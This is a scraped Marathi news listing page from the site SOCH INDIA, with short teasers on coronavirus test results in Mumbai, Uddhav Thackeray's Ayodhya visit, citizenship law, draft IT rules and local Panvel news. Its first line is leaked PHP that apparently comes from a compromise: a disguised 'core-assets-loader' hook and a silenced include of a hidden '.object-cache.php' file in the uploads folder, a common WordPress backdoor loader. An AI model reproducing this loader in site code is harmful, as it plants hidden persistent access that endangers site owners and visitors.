add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); समाचार – SOCH INDIA
Menu

मुंबईच्या कस्तुरबा रुग्णालयात दाखल असलेल्या दोन्ही रुग्णांची कोरोना व्हायरस टेस्ट निगेटिव्ह आली आहे. दोन संशयित रुग्ण कस्तुरबा रुग्णालयात दाखल केले होते. भारतातून एकूण ४ संशयित रुग्णांची सॅम्पल तपासणीसाठी पुण्याला पाठवण्यात आली होती. यातले दोन संशयित मुंबईचे तर एक बंगळुरुचा आणि एक हैदराबादचा आहे. यातल्या मुंबईच्या दोन्ही रुग्णांचं करोना सॅम्पल...

Read More

निर्भया बलात्कार प्रकरणातील दोषी विनय शर्मा याच्यावर काही दिवसांपूर्वी विषप्रयोग झाला होता, असा खळबळजनक आरोप करण्यात आला आहे. विनय शर्मा याच्या वकिलांनी न्यायालयात झालेल्या सुनावणीवेळी म्हटले की, विनय याला तिहार तुरूंगात (Slow Poison) विष देण्यात आले होते. यानंतर त्याला रुग्णालयात दाखल करण्यात आले होते. मात्र, रुग्णालयाने त्यावेळी आपल्याला कोणतीही...

Read More

मुख्यमंत्री उद्धव ठाकरे हे येत्या ७ मार्च रोजी अयोध्येत जाणार असल्याची माहिती, शिवसेनेचे नेते खासदार संदय राऊत यांनी दिली. ‘राज्य सरकारचे १०० दिवस पूर्ण झाल्यानंतर अयोध्येत जातील, असं यापूर्वी सांगण्यात आलं होतं. परंतु आता ते ७ मार्च रोजी अयोध्या दौऱ्यावर जाणार आहेत. तसंच त्यांचा संपूर्ण कार्यक्रम ठरला आहे,” असं...

Read More

मुख्यमंत्री उद्धव ठाकरे ७ मार्च रोजी अयोध्या दौऱ्यावर जाणार आहेत अशी माहिती खासदार संजय राऊत यांनी दिली आहे. अयोध्येला राहुल गांधी यांना सोबत घेऊन जा अशी टीका करणाऱ्या भाजपला राऊत यांनी जोरदार टोला लगावला. भाजपनेच मेहबुबा मुफ्ती सईदला अयोध्येला घेऊन जावं अशी टीका त्यांनी केली. राम जन्मभुमीचा वाद मिटल्यानंतर...

Read More

समाज माध्यमांचा गैरवापर रोखण्यासाठी सरकारने ‘द इन्फॉर्मेशन टेक्नॉलॉजी इंटरमिडीएरीज गाइडलाइन (अमेंडमेंट) रूल्स- २०१८’ या नियमावलीचा मसुदा तयार केला असून या महिन्यात तो सर्वोच्च न्यायालयाला सादर करण्यात येणार आहे. पण यात सायबर सुरक्षा आणि समाज माध्यम वापरकर्त्यांच्या संदेशाचे स्वातंत्र्य या दोन मुद्दय़ांवर तारेवरची कसरत आहे. समाजमाध्यमावरील कंपनीला एखाद्या ऑनलाइन संदेशाचे...

Read More

पनवेल महापालिकेकडून अनुदानाची रक्कम न मिळाल्याने बंद करण्यात आलेले ज्येष्ठ नागरिकांसाठीचे ‘एनएमएमटी’चे सवलतीतील पास पुन्हा सुरू होणार आहेत. नवी मुंबई परिवहन उपक्रमाच्या अनुदानाच्या मागणीचा गांभीर्याने विचार करून यावर लवकरच तोडगा काढला जाईल, असे पनवेलचे महापौर डॉ. कविता चौतमोल यांनी सांगितले आहे. ‘एनएमएमटी’ने सप्टेंबर २०१८ पासून बसमधून प्रवास करणाऱ्या पनवेलमधील...

Read More

केंद्र सरकारच्या सुधारित नागरिकत्व कायद्याचा, तसेच राष्ट्रीय नागरिक नोंदणीचा देशातील मुस्लीम समाजाला जाच होणार नाही, असे सरकारने म्हटले आहे. मात्र केवळ मुस्लीमच नव्हे तर प्रत्येक व्यक्तीला नागरिकत्व सिद्ध करण्यासाठी काहीना काही पुरावे सादर करावे लागणार आहेत, असे स्पष्ट करण्यात आले आहे. सुधारित नागिरकत्व कायदा व नागरिक नोंदणीच्या संदर्भातील सध्या...

Read More

द्राक्षापासून तयार होणाऱ्या वाइनचे उत्पादन चार पटींनी वाढवण्याची नवी पद्धत विकसित करण्यात आली आहे. महाराष्ट्र विज्ञानवर्धिनी आणि आघारकर संस्थेतील संशोधकांनी वाइन तयार करण्यासाठी ही नवी अत्यंत उपयुक्त पद्धत विकसित केली आहे. सध्याच्या वाइननिर्मितीच्या प्रचलित पद्धतीमध्ये दोन किलो द्राक्षांतून अंदाजे एक लिटर वाइन तयार होते. नव्या पद्धतीमुळे एक किलो द्राक्षांद्वारे...

Read More

मृत्यू झाल्याची घटना वलप गावात घडली. लव आणि अंकुश यादव (वय सहा वर्षे) अशी या मुलांची नावे आहेत. हे दोघेही खेळत असताना एकाचा तोल जाऊन तो खदानीतील पाण्यात पडला. त्याला वाचविण्याच्या प्रयत्नात दुसऱ्याचाही तोल गेल्याने तोही बुडाला. घटनेच्या काही मिनिटांनंतर शेजारच्या तरुणांनी या मुलांना पाण्याबाहेर काढले. त्यांना तातडीने पनवेल...

Read More